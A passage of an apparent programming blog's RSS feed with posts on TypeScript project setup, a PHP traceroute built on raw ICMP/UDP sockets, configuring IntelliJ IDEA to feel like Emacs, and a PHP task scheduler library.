That’s it. Now you can stop/start your docker-machine and after it will be started it execute bootlocal.sh file and this file will create /Library folder and mount host’s /Library folder to the guest /Library one.</description></item><item><title>TypeScript - project setup</title><link>https://codelearn.me/2016/05/10/typescript-project-setup.html</link><pubDate>Tue, 10 May 2016 00:00:00 +0000</pubDate><guid>https://codelearn.me/2016/05/10/typescript-project-setup.html</guid><description>&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/types_dance.png">&lt;img alt="type dance" src="https://codelearn.me/assets/img/types_dance.png" width="400px"/>&lt;/a>&lt;/p>
&lt;p>Hi, recently I discovered TypeScript. It’s very important for me to have types protection since it removes a lot of common errors/bugs from the project written in dynamically typed language.&lt;/p>
&lt;p>Today I want to describe how to setup a basic TypeScript project.&lt;/p>
&lt;h1 id="lets-start">Let’s start.&lt;/h1>
&lt;p>First of all you need to install TypeScript.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>npm install -g typescript
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You need NPM of course but I don’t think it’s an issue for you.
Next step is this command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>tsc --init
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This command will create &lt;strong>tsconfig.json&lt;/strong> file for you. This file is basically configuration for your TypeScript compiler and kind of indicator where your project’s root is.&lt;/p>
&lt;p>Here is the content:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;compilerOptions&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#f92672">&amp;#34;module&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;commonjs&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#f92672">&amp;#34;target&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;es5&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#f92672">&amp;#34;noImplicitAny&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">false&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#f92672">&amp;#34;sourceMap&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;exclude&amp;#34;&lt;/span>: [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#e6db74">&amp;#34;node_modules&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And, let’s forget about it for a while.&lt;/p>
&lt;h1 id="project-structure">Project structure&lt;/h1>
&lt;p>This one is pretty personal and I just want to show you how I do it.&lt;/p>
&lt;pre tabindex="0">&lt;code>├── out
├── src
│ ├── classes
│ │ ├── another_namespace_folder
│ │ ├── reports
│ │ │ ├── CoolReport.ts
│ │ │ └── NotCoolReport.ts
│ │ └── users
│ │ ├── Admin.ts
│ │ └── User.ts
│ ├── interfaces
│ │ └── users
│ │ └── BillableInterface.ts
│ └── main.js
└── tsconfig.json
&lt;/code>&lt;/pre>&lt;br/>
&lt;ul>
&lt;li>&lt;strong>out&lt;/strong> - this directory is for output javascript file(s)&lt;/li>
&lt;li>&lt;strong>src&lt;/strong> - this directory contains all the TypeScript files&lt;/li>
&lt;/ul>
&lt;p>If you need an &lt;strong>assets&lt;/strong> directory you can create it in root of project also.&lt;/p>
&lt;p>&lt;strong>main.js&lt;/strong> is absolutely not important here. You can give any name to such file or you can even remove it.
I just use it as starting point of the project.&lt;/p>
&lt;p>Ok, let’s back to our tsconfig.json
Let’s update it to look like this.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-json" data-lang="json">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;compilerOptions&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#f92672">&amp;#34;module&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;commonjs&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#f92672">&amp;#34;target&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;es5&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#f92672">&amp;#34;noImplicitAny&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">false&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#f92672">&amp;#34;sourceMap&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">false&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#f92672">&amp;#34;outFile&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;./out/include.js&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#f92672">&amp;#34;sourceRoot&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;./src/&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#f92672">&amp;#34;rootDir&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;./src/&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#f92672">&amp;#34;removeComments&amp;#34;&lt;/span>: &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">&amp;#34;exclude&amp;#34;&lt;/span>: [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>	&lt;span style="color:#e6db74">&amp;#34;node_modules&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br>
What was changed there:
&lt;ul>
&lt;li>&lt;strong>outFile&lt;/strong> - path to the JavaScript file that will be generated after compilation of *.ts files&lt;/li>
&lt;li>&lt;strong>sourceRoot&lt;/strong> - directory that contains all *.ts files. Compiler will take all the files from here and compile them&lt;/li>
&lt;li>&lt;strong>removeComments&lt;/strong> - we no need comments in generated JS file&lt;/li>
&lt;/ul>
&lt;p>So, now we ask TSC to search all &lt;strong>*.ts&lt;/strong> files inside &lt;strong>src&lt;/strong> directory and compile all of them into one include.js file.&lt;/p>
&lt;p>At the moment if you run TSC command in the root of project&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>tsc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>it will check the &lt;strong>tsconfig.json&lt;/strong> and will compile all &lt;strong>*.ts&lt;/strong> files inside src directory.&lt;/p>
&lt;p>After this you can see &lt;strong>include.js&lt;/strong> file inside your &lt;strong>out&lt;/strong> directory. Awesome!&lt;/p>
&lt;p>Checkout &lt;a href="https://www.typescriptlang.org/docs/handbook/tsconfig.json.html">tsconfig.json documentation&lt;/a> for more info.&lt;/p>
&lt;h1 id="why-i-actually-prefer-typescript-over-any-other-supersets-of-js">Why I actually prefer TypeScript over any other supersets of JS&lt;/h1>
&lt;p>Here is some points:&lt;/p>
&lt;ul>
&lt;li>Type secure&lt;/li>
&lt;/ul>
&lt;p>As I said at top of this post it&amp;rsquo;s very important for me since I think it reduce amount of bugs
that produced by dynamically typed langauges. Honestly it is not a language&amp;rsquo;s fault but developer&amp;rsquo;s one. But anyway dynamicly typed languages are encourage this.
I usually write in PHP and it also have type hints but TypeScript different for the better since it is really compileable
and all miss-types can be found when at the same time PHP&amp;rsquo;s type issues will be found only when bad code will be executed&lt;/p>
&lt;ul>
&lt;li>Looks good in OOP terms&lt;/li>
&lt;/ul>
&lt;p>Don&amp;rsquo;t get me wrong, JavaScript&amp;rsquo;s prototype-based system is pretty interesting
but in daily work it&amp;rsquo;s hard to switch from usual OOP way to JS one, at least for me.
I don&amp;rsquo;t think it is an issue for people that use Node.JS for backends and JS for front. But it&amp;rsquo;s not about me.
I like TypeScript because it looks like usual OOP langauge with constructors, public/private/protected methods and usual inheritance and interfaces.&lt;/p>
&lt;ul>
&lt;li>You can use it as usual Javascript.&lt;/li>
&lt;/ul>
&lt;p>Since TypeScript is superset of JS it means we can actually write JS with no issues.
It&amp;rsquo;s awesome if you use third-party lib or testign framework that was not planned to use for TypeScript.&lt;/p>
&lt;ul>
&lt;li>types types types&lt;/li>
&lt;/ul>
&lt;p>YES! Again. I really love it! :D&lt;/p>
&lt;br>
So, if you want to be types protected in your JS give it a try. You will not be disappointed.</description></item><item><title>Traceroute implementation</title><link>https://codelearn.me/2016/04/13/traceroute-implementation.html</link><pubDate>Wed, 13 Apr 2016 00:00:00 +0000</pubDate><guid>https://codelearn.me/2016/04/13/traceroute-implementation.html</guid><description>&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/fun1.jpg">&lt;img alt="fun first" src="https://codelearn.me/assets/img/fun1.jpg" width="550px"/>&lt;/a>&lt;/p>
&lt;p>Hi,
I’m sure you heard about traceroute command line tool. For me, it was pretty interesting to get to know about how it works and it would be great to implement basic functionality of it.
Hope it will be interesting for you also.&lt;/p>
&lt;h1 id="how-does-it-work">How does it work?&lt;/h1>
&lt;p>Each TCP/IP packet has different information about itself.
One part of it is called &lt;strong>Time To Leave – TTL&lt;/strong>. This information is needed for nodes (routers, computers) and it allows to understand when packet has to be dropped from a network.
TTL is not for fun there. It protects network from packets loop. Due to its value we have no packets that travels through the network infinitely.&lt;/p>
&lt;p>The structure of IP header:&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/ip-header.gif">&lt;img alt="ip header" src="https://codelearn.me/assets/img/ip-header.gif" width="550px"/>&lt;/a>&lt;/p>
&lt;p>TTL value is just a number. Each time when packet goes through a router the value decreases. TTL value is set by operation system and usually it has bigger number than needed to get the destination.
For example, You have TTL value – 3.
When your packet sends to the another computer it goes through many different nodes.&lt;/p>
&lt;ul>
&lt;li>your computer (ttl – 3) -&amp;gt; decrement ttl -&amp;gt; send to the next node&lt;/li>
&lt;li>router (ttl – 2) -&amp;gt; decrement ttl -&amp;gt; send to the next node&lt;/li>
&lt;li>nanother computer (ttl – 1) -&amp;gt; decrement ttl -&amp;gt; check if 0 -&amp;gt; destroy&lt;/li>
&lt;li>destination -&amp;gt; so sad, didn’t receive anything&lt;/li>
&lt;/ul>
&lt;p>When TTL is equal to 0 the receiver of this packet has to destroy it and send notification to the original sender via ICMP protocol.
Since Internet Protocol packets have information about sender and receiver, your machine will be notified that TTL is exhausted and you will know who sent it back to you.
Once again. TTL is set by operation system and it can be changed from OS to OS.&lt;/p>
&lt;h1 id="ok-nice-whats-next">Ok, nice. What’s next?&lt;/h1>
&lt;p>If value of TTL can be changed by operation system then probably we should have ability to set it by ourselves.
In case it’s possible, we can set it to 1 and send a packet to any remote server. It will not get the destination server and will be destroyed by next machine in the network (it will be your router probably). When packet is destroyed you will get notification via ICMP.
In case you set it to 2 then packet will be destroyed by next machine behind your router.
So, we can increase TTL until we don’t get notification that package is destroyed by destination IP.&lt;/p>
&lt;h1 id="code-code-code">Code code code&lt;/h1>
&lt;p>I want to bring some exotic so… lets use PHP (oh my god!).
&lt;a target="_blank" href="https://codelearn.me/assets/img/fun2.jpg">&lt;img alt="fun cat" src="https://codelearn.me/assets/img/fun2.jpg" width="350px"/>&lt;/a>&lt;/p>
&lt;p>I don’t want to show all the code here. You will find it in my GitHub repo. But I will try to explain basics.
First of all let’s create our TTL variable.&lt;/p>
&lt;pre tabindex="0">&lt;code class="language-php?start_inline=1" data-lang="php?start_inline=1">$ttl = 1;
&lt;/code>&lt;/pre>&lt;br/>
Now let’s create two sockets.
&lt;pre tabindex="0">&lt;code class="language-php?start_inline=1" data-lang="php?start_inline=1">$icmp_socket = socket_create(AF_INET, SOCK_RAW, getprotobyname(&amp;#39;icmp&amp;#39;));
$udp_socket = socket_create(AF_INET, SOCK_DGRAM, getprotobyname(&amp;#39;udp&amp;#39;));
&lt;/code>&lt;/pre>&lt;br/>
UDP socket will be used to send packet. Receiver will answer us via ICMP protocol and we will use this socket for reading.
&lt;p>Now the hard line…&lt;/p>
&lt;pre tabindex="0">&lt;code class="language-php?start_inline=1" data-lang="php?start_inline=1">socket_set_option($udp_socket, 0, IP_TTL, $ttl);
&lt;/code>&lt;/pre>&lt;br/>
**IP_TTL** constant doesn’t exist in PHP. Unfortunately value of IP_TTL constant is various on different operation systems.
On BSD like systems the value is 4. Linux has 2.
Also I was lucky that **socket_set_option** calls native kernel function internally so we can set third parameter of socket_set_option to any value.
&lt;p>Ok. Now let’s send a packet to Google :)&lt;/p>
&lt;pre tabindex="0">&lt;code class="language-php?start_inline=1" data-lang="php?start_inline=1">socket_sendto($udp_socket, &amp;#39;&amp;#39;, 0, 0,&amp;#39;173.194.32.133&amp;#39; 33434);
&lt;/code>&lt;/pre>&lt;br/>
Good, lets wait for ICMP request from our router (remember we have TTL = 1)
&lt;pre tabindex="0">&lt;code class="language-php?start_inline=1" data-lang="php?start_inline=1">$r = [$icmp_socket];
$w = $e = [];
socket_select($r, $w, $e, 5, 0); # 5 — timeout in seconds
if (count($r)) {
 socket_recvfrom($icmp_socket, $buf, 512, 0, $recv_addr, $recv_port);
 echo $recv_addr . &amp;#34;\n&amp;#34;;
}
&lt;/code>&lt;/pre>&lt;br/>
Now we have address of our router (**$resv_addr** variable).
&lt;br/>
Next, lets just wrap everything with loop where TTL will be increased with each iteration and we will get new remote machine’s IP one by one until doesn’t get Google’s IP.
&lt;pre tabindex="0">&lt;code class="language-php?start_inline=1" data-lang="php?start_inline=1">while ($ttl &amp;lt; 128) { # 128 — default TTL value for Windows.
 // our previous code
 socket_close($icmp_socket);
 socket_close($udp_socket);

 $ttl++;
 if ($recv_addr == $dest_addr) break;
}
&lt;/code>&lt;/pre>&lt;br/>
And it looks like that:
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/trace-output.png">&lt;img alt="trace output" src="https://codelearn.me/assets/img/trace-output.png" width="550px"/>&lt;/a>
&lt;br/>
A lot of information for this article I got from &lt;a href="https://adayinthelifeof.nl/about-me/">Joshua Thijssen&lt;/a> blog.&lt;/p></description></item><item><title>From Emacs to Intellij IDEA</title><link>https://codelearn.me/2016/03/29/from-emacs-to-intellij.html</link><pubDate>Tue, 29 Mar 2016 00:00:00 +0000</pubDate><guid>https://codelearn.me/2016/03/29/from-emacs-to-intellij.html</guid><description>&lt;p>Recently I switched from Emacs, which I used about two years, to IntelliJ.
It was pretty hard switch since my muscle memory wasn’t happy. Thanks guys from JetBrains they have Emacs keybinding-scheme.
Today I will try to describe how I configured IntelliJ to be more Emacs-like.&lt;/p>
&lt;p>First of all IntelliJ interface is pretty overloaded. Emacs had only text area with status line and mini buffer. I found very nice instructions about how to do interface more minimalistic in Laracast video. It was for PHPStorm but it also work for IntelliJ.&lt;/p>
&lt;p>So, lets start.&lt;/p>
&lt;ul>
&lt;li>I do not really use status bar at the bottom of window. If you no need it you can also remove it by checkbox in &lt;strong>View -&amp;gt; Status Bar&lt;/strong>.&lt;/li>
&lt;li>Navigation bar on top of window. Go to &lt;strong>View -&amp;gt; Navigation Bar&lt;/strong> and uncheck it.&lt;/li>
&lt;li>Toolbar. A lot of buttons for guys who use mouse. Go to &lt;strong>View -&amp;gt; Toolbar&lt;/strong> checkbox.&lt;/li>
&lt;li>Breadcrumbs probably useful feature, but I do not see a reason to use it. To disable it lets go to &lt;strong>Preferences -&amp;gt; Editor -&amp;gt; Appearance&lt;/strong>. Uncheck &lt;strong>Show HTML breadcrumbs&lt;/strong> (restart of IDE may be required).&lt;/li>
&lt;li>Tabs. Emacs has buffers. IntelliJ has “Switcher” that contains list of recently opened files. It exists by C-x C-b. Let’s remove tabs by right click on it and select &lt;strong>Tabs Placement -&amp;gt; None&lt;/strong>.&lt;/li>
&lt;/ul>
&lt;p>Now it should look something like this:&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/idea-now.png">&lt;img alt="idea now" src="https://codelearn.me/assets/img/idea-now.png" width="750px"/>&lt;/a>&lt;/p>
&lt;p>Much much better, right? ;)&lt;/p>
&lt;p>Since I develop mostly backend and various APIs I used to use &lt;strong>restclient-mode&lt;/strong> in Emacs.&lt;/p>
&lt;p>Intellij has something similar. Tool called &lt;strong>Test RESTful Web Service&lt;/strong>.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/test-api-tool.png">&lt;img alt="test api tool" src="https://codelearn.me/assets/img/test-api-tool.png" width="750px"/>&lt;/a>&lt;/p>
&lt;p>It has pretty much all features required by me, but it still sucks compared with restclient-mode of Emacs. There are not too much keybindings (actually only ⌘ + Enter is known and frequently used by me). You can add parameters, headers, you can repeat your last (or long before) query. It sucks mostly because too much mouse involved in the process of this tool usage.&lt;/p>
&lt;p>Next thing its a &lt;strong>terminal&lt;/strong>.
The replacement of M-x shell called – &lt;strong>Terminal&lt;/strong>. It’s very functional and looks better than Emacs eshell or term modes. I can even run Emacs inside.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/idea-term.png">&lt;img alt="idea term" src="https://codelearn.me/assets/img/idea-term.png" width="750px"/>&lt;/a>&lt;/p>
&lt;p>I mapped it to C-c C-t to make it more accessible. I usually use it for files creation (instead of the IDE’s sidebar and mouse right click).&lt;/p>
&lt;p>Hope it was useful. Don’t forget to switch your keybinding scheme to Emacs mode.&lt;/p></description></item><item><title>PHPNotifier - task scheduler</title><link>https://codelearn.me/2016/03/27/phpnotifier.html</link><pubDate>Sun, 27 Mar 2016 00:00:00 +0000</pubDate><guid>https://codelearn.me/2016/03/27/phpnotifier.html</guid><description>&lt;p>Hi,
Couple of days ago, working on my full-time project, I noticed we have a huge crontab file.
We have a lot of different scripts that checks status of different records in our database or status of users or status of emails that we sent or, or, or…&lt;/p>
&lt;p>A lot of our classes have different flags (“checked”, “sent”, “approved”, etc…) and its something that really hard to manage.&lt;/p>
&lt;p>Crontab is very useful tool but incase you use for things it was developed.&lt;/p>
&lt;p>So, we were needed a task scheduler. Since we use PHP in our project it would be great to have it as packagist package but… I didn’t find anything that fit our needs.&lt;/p>
&lt;p>So, today I finished my work on such library and I hope it will be useful not only for me and our team.&lt;/p>
&lt;p>Meet &lt;a href="https://github.com/KryDos/PHPNotifier">PHPNotifier already&lt;/a> published in packagist.
This library allows you to schedule a task to the exact time or after some time.&lt;/p>
&lt;pre tabindex="0">&lt;code class="language-php?start_inline=1" data-lang="php?start_inline=1">
use \PHPNotifier\PHPNotifier;
$scheduler = new PHPNotifier(PHPNotifier::FILE_METHOD, &amp;#39;/absolute/path/to/db.file&amp;#39;);

$scheduler-&amp;gt;scheduleTaskIn(10, &amp;#39;echo&amp;#39;, [ #execute &amp;#34;echo&amp;#34; command
	&amp;#39;Hello world!&amp;#39; # with &amp;#34;Hello world!&amp;#34; argument
	&amp;#39;&amp;gt;&amp;#39; # and redirect output
	&amp;#39;any_file&amp;#39; # to any_file
]);
&lt;/code>&lt;/pre>&lt;br/>
&lt;p>This code will schedule task that will be running in 10 seconds. And its awesome. Now, in our project, we have internal API calls (HTTP), that are triggering different tasks. PHPNotifier is sending curl requests to the API and it works great.&lt;/p>
&lt;p>Checkout &lt;a href="https://github.com/KryDos/PHPNotifier">GitHub page&lt;/a> of this library. You can find more documentation there. It would be great if you can suggest how to improve it or even send a pull request.&lt;/p></description></item></channel></rss>